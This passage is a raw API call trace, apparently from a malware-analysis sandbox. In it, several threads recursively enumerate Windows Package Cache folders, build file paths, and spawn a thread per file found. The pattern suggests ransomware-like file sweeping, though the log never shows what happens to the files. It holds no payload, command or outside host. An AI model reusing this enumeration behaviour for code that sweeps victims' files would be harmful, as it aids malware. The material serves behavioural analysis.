(HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fab58) returned 1 [0146.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa890) returned 1 Thread: id = 2106 os_tid = 0xd70 [0143.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4380 [0143.144] wcscpy (in: _Dest=0x8f4380, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0143.144] wcscat (in: _Dest=0x8f4380, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0143.144] wcscat (in: _Dest=0x8f4380, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*" [0143.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91d550 [0143.144] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x91d550 | out: lpFindFileData=0x91d550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93acb8 [0144.673] wcscmp (_String1=".", _String2=".") returned 0 [0144.673] FindNextFileW (in: hFindFile=0x93acb8, lpFindFileData=0x91d550 | out: lpFindFileData=0x91d550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.673] wcscmp (_String1="..", _String2=".") returned 1 [0144.673] wcscmp (_String1="..", _String2="..") returned 0 [0144.673] FindNextFileW (in: hFindFile=0x93acb8, lpFindFileData=0x91d550 | out: lpFindFileData=0x91d550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0144.673] wcscmp (_String1="packages", _String2=".") returned 1 [0144.673] wcscmp (_String1="packages", _String2="..") returned 1 [0144.673] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0xd4c6080 [0144.673] wcscpy (in: _Dest=0xd4c6080, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0144.673] wcscat (in: _Dest=0xd4c6080, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0144.673] wcscat (in: _Dest=0xd4c6080, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0154.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c6080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x197c [0154.974] FindNextFileW (in: hFindFile=0x93acb8, lpFindFileData=0x91d550 | out: lpFindFileData=0x91d550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0154.974] FindClose (in: hFindFile=0x93acb8 | out: hFindFile=0x93acb8) returned 1 [0154.974] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d550) returned 1 [0154.974] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4380) returned 1 [0154.974] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97afc8) returned 1 Thread: id = 2107 os_tid = 0xd74 [0143.145] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x8fabf8 [0143.145] wcscpy (in: _Dest=0x8fabf8, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0143.145] wcscat (in: _Dest=0x8fabf8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0143.145] wcscat (in: _Dest=0x8fabf8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*" [0143.145] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91def0 [0143.145] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9423f0 [0145.099] wcscmp (_String1=".", _String2=".") returned 0 [0145.099] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.099] wcscmp (_String1="..", _String2=".") returned 1 [0145.099] wcscmp (_String1="..", _String2="..") returned 0 [0145.099] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a127460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1c821ca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0145.099] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0145.099] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0145.099] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x97c1a8 [0145.099] wcscpy (in: _Dest=0x97c1a8, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0145.099] wcscat (in: _Dest=0x97c1a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0145.099] wcscat (in: _Dest=0x97c1a8, _Source="state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" [0145.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97c1a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe74 [0145.960] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0145.960] wcscmp (_String1="vcredist_x64.exe", _String2=".") returned 1 [0145.960] wcscmp (_String1="vcredist_x64.exe", _String2="..") returned 1 [0145.960] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x91def0 | out: lpFindFileData=0x91def0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0145.960] FindClose (in: hFindFile=0x9423f0 | out: hFindFile=0x9423f0) returned 1 [0145.960] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91def0) returned 1 [0145.960] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fabf8) returned 1 [0145.960] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6988) returned 1 Thread: id = 2108 os_tid = 0xd78 [0143.145] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xac) returned 0x8f4438 [0143.146] wcscpy (in: _Dest=0x8f4438, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0143.146] wcscat (in: _Dest=0x8f4438, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0143.146] wcscat (in: _Dest=0x8f4438, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*" [0143.146] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91da20 [0143.146] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942430 [0145.098] wcscmp (_String1=".", _String2=".") returned 0 [0145.098] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.098] wcscmp (_String1="..", _String2=".") returned 1 [0145.098] wcscmp (_String1="..", _String2="..") returned 0 [0145.098] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0145.098] wcscmp (_String1="packages", _String2=".") returned 1 [0145.098] wcscmp (_String1="packages", _String2="..") returned 1 [0145.098] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0x904600 [0145.099] wcscpy (in: _Dest=0x904600, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" [0145.099] wcscat (in: _Dest=0x904600, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\" [0145.099] wcscat (in: _Dest=0x904600, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0145.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x904600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe70 [0145.955] FindNextFileW (in: hFindFile=0x942430, lpFindFileData=0x91da20 | out: lpFindFileData=0x91da20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0145.955] FindClose (in: hFindFile=0x942430 | out: hFindFile=0x942430) returned 1 [0145.955] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91da20) returned 1 [0145.955] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4438) returned 1 [0145.955] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b078) returned 1 Thread: id = 2109 os_tid = 0xd7c [0143.146] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xac) returned 0x8f44f0 [0143.146] wcscpy (in: _Dest=0x8f44f0, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0143.146] wcscat (in: _Dest=0x8f44f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0143.146] wcscat (in: _Dest=0x8f44f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*" [0143.146] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9200a0 [0143.146] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942330 [0145.097] wcscmp (_String1=".", _String2=".") returned 0 [0145.097] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.098] wcscmp (_String1="..", _String2=".") returned 1 [0145.098] wcscmp (_String1="..", _String2="..") returned 0 [0145.098] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0145.098] wcscmp (_String1="packages", _String2=".") returned 1 [0145.098] wcscmp (_String1="packages", _String2="..") returned 1 [0145.098] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0x8fa9f0 [0145.098] wcscpy (in: _Dest=0x8fa9f0, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" [0145.098] wcscat (in: _Dest=0x8fa9f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\" [0145.098] wcscat (in: _Dest=0x8fa9f0, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0145.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fa9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe6c [0145.952] FindNextFileW (in: hFindFile=0x942330, lpFindFileData=0x9200a0 | out: lpFindFileData=0x9200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0145.953] FindClose (in: hFindFile=0x942330 | out: hFindFile=0x942330) returned 1 [0145.953] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9200a0) returned 1 [0145.953] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f44f0) returned 1 [0145.953] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b128) returned 1 Thread: id = 2110 os_tid = 0xd80 [0143.147] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xac) returned 0x8f45a8 [0143.147] wcscpy (in: _Dest=0x8f45a8, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0143.147] wcscat (in: _Dest=0x8f45a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0143.147] wcscat (in: _Dest=0x8f45a8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*" [0143.147] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92c238 [0143.147] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9422b0 [0145.097] wcscmp (_String1=".", _String2=".") returned 0 [0145.097] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.097] wcscmp (_String1="..", _String2=".") returned 1 [0145.097] wcscmp (_String1="..", _String2="..") returned 0 [0145.097] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0145.097] wcscmp (_String1="packages", _String2=".") returned 1 [0145.097] wcscmp (_String1="packages", _String2="..") returned 1 [0145.097] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0x8fa928 [0145.097] wcscpy (in: _Dest=0x8fa928, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0145.097] wcscat (in: _Dest=0x8fa928, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\" [0145.097] wcscat (in: _Dest=0x8fa928, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0145.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fa928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe68 [0145.950] FindNextFileW (in: hFindFile=0x9422b0, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, 